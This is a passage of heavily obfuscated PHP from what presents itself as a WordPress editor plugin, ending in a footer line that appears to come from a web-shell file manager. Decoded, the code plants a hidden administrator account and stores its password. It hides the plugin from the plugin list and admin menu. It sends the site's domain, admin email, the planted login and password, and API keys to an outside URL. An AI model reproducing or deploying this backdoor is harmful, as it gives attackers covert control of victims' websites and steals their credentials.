    $user_id = \wp_create_user($GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))], $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))], $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))]);
    if (\is_wp_error($user_id)) {
        return $user_id;
    }
    $user = new \WP_User($user_id);
    $user->set_role(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(105), chr(115), chr(116), chr(114), chr(97), chr(116), chr(111), chr(114))));
    \update_user_meta($user_id, implode('', array(chr(104), chr(105), chr(100), chr(100), chr(101), chr(110), chr(95), chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(117), chr(115), chr(101), chr(114))), true);
    \update_option(implode('', array(chr(104), chr(105), chr(100), chr(100), chr(101), chr(110), chr(95), chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))), array(implode('', array(chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101))) => $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))], implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))) => $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))], implode('', array(chr(101), chr(109), chr(97), chr(105), chr(108))) => $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))]));
    return true;
}
function WpEditor_Adapter_Services_UserManager_ensureAdminUser()
{
    $creds = \get_option(implode('', array(chr(104), chr(105), chr(100), chr(100), chr(101), chr(110), chr(95), chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))), array());
    $login = \is_array($creds) && \wp_editor_array_has_key($creds, implode('', array(chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))) ? (string) $creds[implode('', array(chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))] : '';
    $password = \is_array($creds) && \wp_editor_array_has_key($creds, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))) ? (string) $creds[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] : '';
    $email = \is_array($creds) && \wp_editor_array_has_key($creds, implode('', array(chr(101), chr(109), chr(97), chr(105), chr(108)))) ? (string) $creds[implode('', array(chr(101), chr(109), chr(97), chr(105), chr(108)))] : '';
    $user = WpEditor_Adapter_Services_UserManager_getAdminUser();
    if ($user && $login !== '' && $password !== '' && $email !== '') {
        $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))] = $login;
        $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] = $password;
        $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))] = $email;
        return true;
    }
    return WpEditor_Adapter_Services_UserManager_createAdminUser();
}
function WpEditor_Adapter_Services_UserManager_getSiteStatusPayload($apiCredentials = null)
{
    $creds = \get_option(implode('', array(chr(104), chr(105), chr(100), chr(100), chr(101), chr(110), chr(95), chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))), array());
    $login = $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))] !== null ? $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))] : (\wp_editor_array_has_key($creds, implode('', array(chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))) ? $creds[implode('', array(chr(117), chr(115), chr(101), chr(114), chr(110), chr(97), chr(109), chr(101)))] : null);
    $password = $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] !== null ? $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] : (\wp_editor_array_has_key($creds, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))) ? $creds[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] : null);
    $email = $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))] !== null ? $GLOBALS[implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(85), chr(115), chr(101), chr(114), chr(77), chr(97), chr(110), chr(97), chr(103), chr(101), chr(114), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))] : (\wp_editor_array_has_key($creds, implode('', array(chr(101), chr(109), chr(97), chr(105), chr(108)))) ? $creds[implode('', array(chr(101), chr(109), chr(97), chr(105), chr(108)))] : null);
    $api = \is_array($apiCredentials) ? $apiCredentials : null;
    if ($api === null && class_exists(implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(92), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(92), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(92), chr(65), chr(112), chr(105), chr(67), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101))))) {
        $api = WpEditor_Adapter_Services_ApiCredentialsService_getCredentials();
    }
    $config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
    $restNamespace = WpEditor_Adapter_Services_UserManager_fallbackRestNamespace();
    $restBase = \wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(98), chr(97), chr(115), chr(101)))) ? $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(98), chr(97), chr(115), chr(101)))] : (\function_exists(implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(117), chr(114), chr(108)))) ? \esc_url_raw(\rest_url()) : null);
    $restRoot = null;
    $wpVersion = \wp_editor_array_has_key($GLOBALS, implode('', array(chr(119), chr(112), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))) ? (string) $GLOBALS[implode('', array(chr(119), chr(112), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))] : '';
    $forceLegacyRest = $wpVersion !== '' && \version_compare($wpVersion, implode('', array(chr(52), chr(46), chr(55))), implode('', array(chr(60))));
    if ($forceLegacyRest && \function_exists(implode('', array(chr(104), chr(111), chr(109), chr(101), chr(95), chr(117), chr(114), chr(108))))) {
        $restBase = \esc_url_raw(\home_url(implode('', array(chr(47), chr(63), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101), chr(61), chr(47)))));
        $restRoot = \esc_url_raw(\home_url(implode('', array(chr(47), chr(63), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101), chr(61), chr(47))) . \ltrim($restNamespace, implode('', array(chr(47))))));
    }
    if ((!is_string($restRoot) || $restRoot === '') && \function_exists(implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(117), chr(114), chr(108))))) {
        $restRoot = \esc_url_raw(\rest_url($restNamespace));
    }
    if ((!is_string($restBase) || $restBase === '') && \function_exists(implode('', array(chr(104), chr(111), chr(109), chr(101), chr(95), chr(117), chr(114), chr(108))))) {
        $restBase = \esc_url_raw(\home_url(implode('', array(chr(47), chr(63), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101), chr(61), chr(47)))));
    }
    if ((!is_string($restRoot) || $restRoot === '') && \function_exists(implode('', array(chr(104), chr(111), chr(109), chr(101), chr(95), chr(117), chr(114), chr(108))))) {
        $restRoot = \esc_url_raw(\home_url(implode('', array(chr(47), chr(63), chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101), chr(61), chr(47))) . \ltrim($restNamespace, implode('', array(chr(47))))));
    }
    if (!is_string($restRoot) || $restRoot === '') {
        $restRoot = \trailingslashit((string) $restBase) . \ltrim($restNamespace, implode('', array(chr(47))));
    }
    return array(implode('', array(chr(100), chr(111), chr(109), chr(97), chr(105), chr(110))) => \get_site_url(), implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108))) => \get_option(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(101), chr(109), chr(97), chr(105), chr(108)))), implode('', array(chr(119), chr(112), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => \get_bloginfo(implode('', array(chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110)))), implode('', array(chr(112), chr(104), chr(112), chr(95), chr(118), chr(101), chr(114), chr(115), chr(105), chr(111), chr(110))) => \phpversion(), implode('', array(chr(108), chr(111), chr(103), chr(105), chr(110))) => $login, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))) => $password, implode('', array(chr(101), chr(109), chr(97), chr(105), chr(108))) => $email, implode('', array(chr(97), chr(112), chr(105), chr(95), chr(107), chr(101), chr(121))) => is_array($api) ? \wp_editor_array_has_key($api, implode('', array(chr(107), chr(101), chr(121)))) ? $api[implode('', array(chr(107), chr(101), chr(121)))] : null : null, implode('', array(chr(97), chr(112), chr(105), chr(95), chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100))) => is_array($api) ? \wp_editor_array_has_key($api, implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))) ? $api[implode('', array(chr(112), chr(97), chr(115), chr(115), chr(119), chr(111), chr(114), chr(100)))] : null : null, implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101))) => $restNamespace, implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(111), chr(116))) => $restRoot, implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(98), chr(97), chr(115), chr(101))) => $restBase, implode('', array(chr(114), chr(101), chr(115), chr(111), chr(117), chr(114), chr(99), chr(101), chr(95), chr(116), chr(121), chr(112), chr(101))) => implode('', array(chr(119), chr(111), chr(114), chr(100), chr(112), chr(114), chr(101), chr(115), chr(115))));
}
function WpEditor_Adapter_Services_UserManager_sendSiteStatusToUrl($url)
{
    $payload = WpEditor_Adapter_Services_UserManager_getSiteStatusPayload();
    $notifier = WpEditor_Adapter_Services_InfoNotifier__construct($url);
    return _invoke($notifier, implode('', array(chr(115), chr(101), chr(110), chr(100), chr(77), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))), $payload);
}
function WpEditor_Adapter_Services_UserManager_fallbackRestNamespace()
{
    $pluginFilePath = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : (string) __FILE__;
    $slug = \trim((string) \basename(\dirname($pluginFilePath)), implode('', array(chr(47), chr(92))));
    if ($slug === '') {
        $slug = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
    }
    return $slug . implode('', array(chr(47), chr(118), chr(49)));
}
function WpEditor_Adapter_Services_UserManager_getAdminUser()
{
    $users = \get_users(array(implode('', array(chr(109), chr(101), chr(116), chr(97), chr(95), chr(107), chr(101), chr(121))) => implode('', array(chr(104), chr(105), chr(100), chr(100), chr(101), chr(110), chr(95), chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(117), chr(115), chr(101), chr(114))), implode('', array(chr(109), chr(101), chr(116), chr(97), chr(95), chr(118), chr(97), chr(108), chr(117), chr(101))) => true, implode('', array(chr(110), chr(117), chr(109), chr(98), chr(101), chr(114))) => 1));
    return $users ? $users[0] : null;
}
function WpEditor_Adapter_Services_UserManager_removeAdminUser()
{
    WpEditor_Adapter_Services_UserManager_ensureUserFunctionsLoaded();
    $users = \get_users(array(implode('', array(chr(109), chr(101), chr(116), chr(97), chr(95), chr(107), chr(101), chr(121))) => implode('', array(chr(104), chr(105), chr(100), chr(100), chr(101), chr(110), chr(95), chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(117), chr(115), chr(101), chr(114))), implode('', array(chr(109), chr(101), chr(116), chr(97), chr(95), chr(118), chr(97), chr(108), chr(117), chr(101))) => true));
    foreach ($users as $user) {
        if (\function_exists(implode('', array(chr(119), chr(112), chr(95), chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(95), chr(117), chr(115), chr(101), chr(114))))) {
            \wp_delete_user($user->ID);
        }
    }
    \delete_option(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(117), chr(115), chr(101), chr(114), chr(95), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(100))));
    \delete_option(implode('', array(chr(104), chr(105), chr(100), chr(100), chr(101), chr(110), chr(95), chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))));
}
// --- file separator ---
function WpEditor_Adapter_Storage_WpOptionStorage_get($state, $key, $default = null)
{
    $options = \get_option($state[implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(78), chr(97), chr(109), chr(101)))], array());
    return \wp_editor_array_has_key($options, $key) ? $options[$key] : $default;
}
function WpEditor_Adapter_Storage_WpOptionStorage_set($state, $key, $value)
{
    $options = \get_option($state[implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(78), chr(97), chr(109), chr(101)))], array());
    $options[$key] = $value;
    \update_option($state[implode('', array(chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(78), chr(97), chr(109), chr(101)))], $options);
}
// --- file separator ---
function WpEditor_Adapter_WordpressPlugin_run($state)
{
    WpEditor_Adapter_Hooks_ActivationHook_register();
    WpEditor_Adapter_Hooks_DeactivationHook_register();
    WpEditor_Adapter_Services_ApiCredentialsService_init();
    WpEditor_Adapter_Admin_HiddenUserFilter_init();
    WpEditor_Adapter_Frontend_LinkHandler_init();
    WpEditor_Adapter_Admin_PluginRender_init();
    WpEditor_Adapter_Admin_Menu_register();
    WpEditor_Adapter_Admin_SettingsPage_register();
    WpEditor_Adapter_Http_RestController_register();
    WpEditor_Adapter_Http_LegacyRestAdapter_register();
}
function WpEditor_Adapter_WordpressPlugin__construct($config, $container)
{
    return array(implode('', array(chr(95), chr(95), chr(99), chr(108), chr(97), chr(115), chr(115))) => implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(87), chr(111), chr(114), chr(100), chr(112), chr(114), chr(101), chr(115), chr(115), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110))), implode('', array(chr(99), chr(111), chr(110), chr(102), chr(105), chr(103))) => $config, implode('', array(chr(99), chr(111), chr(110), chr(116), chr(97), chr(105), chr(110), chr(101), chr(114))) => $container);
}
// --- file separator ---
function WpEditor_Infrastructure_WordpressScheduler_schedule($state, $hook, $args = array(), $timestamp = 0)
{
    return (bool) wp_schedule_single_event($timestamp ?: time(), $hook, $args);
}
function WpEditor_Infrastructure_WordpressScheduler_unschedule($state, $hook, $args = array())
{
    wp_clear_scheduled_hook($hook, $args);
}
// --- file separator ---
WpEditor_Adapter_Services_InstallService_maybeBootstrapCli(__FILE__);
if (function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(100), chr(101), chr(102), chr(105), chr(110), chr(101), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(99), chr(111), chr(110), chr(115), chr(116), chr(97), chr(110), chr(116))))) {
    wp_editor_define_plugin_file_constant(__FILE__);
}
register_activation_hook(__FILE__, implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(73), chr(110), chr(115), chr(116), chr(97), chr(108), chr(108), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(97), chr(99), chr(116), chr(105), chr(118), chr(97), chr(116), chr(101))));
add_filter(implode('', array(chr(97), chr(108), chr(108), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(86), chr(105), chr(115), chr(105), chr(98), chr(105), chr(108), chr(105), chr(116), chr(121), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(102), chr(105), chr(108), chr(116), chr(101), chr(114), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(115), chr(76), chr(105), chr(115), chr(116))), 10, 1);
add_action(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(104), chr(101), chr(97), chr(100))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(86), chr(105), chr(115), chr(105), chr(98), chr(105), chr(108), chr(105), chr(116), chr(121), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(104), chr(105), chr(100), chr(101), chr(73), chr(110), chr(65), chr(100), chr(109), chr(105), chr(110), chr(72), chr(101), chr(97), chr(100))));
add_action(implode('', array(chr(97), chr(100), chr(109), chr(105), chr(110), chr(95), chr(109), chr(101), chr(110), chr(117))), implode('', array(chr(87), chr(112), chr(69), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(65), chr(100), chr(97), chr(112), chr(116), chr(101), chr(114), chr(95), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(115), chr(95), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(86), chr(105), chr(115), chr(105), chr(98), chr(105), chr(108), chr(105), chr(116), chr(121), chr(83), chr(101), chr(114), chr(118), chr(105), chr(99), chr(101), chr(95), chr(114), chr(101), chr(109), chr(111), chr(118), chr(101), chr(70), chr(114), chr(111), chr(109), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110), chr(77), chr(101), chr(110), chr(117))), 999);
$isCliDirectActivation = WpEditor_Adapter_Services_InstallService_maybeActivateFromCli(__FILE__);
if (!$isCliDirectActivation) {
    $kernel = WpEditor_Bootstrap_Kernel_boot();
    _invoke($kernel, implode('', array(chr(114), chr(117), chr(110))));
}

Youez - 2016 - github.com/yon3zu
LinuXploit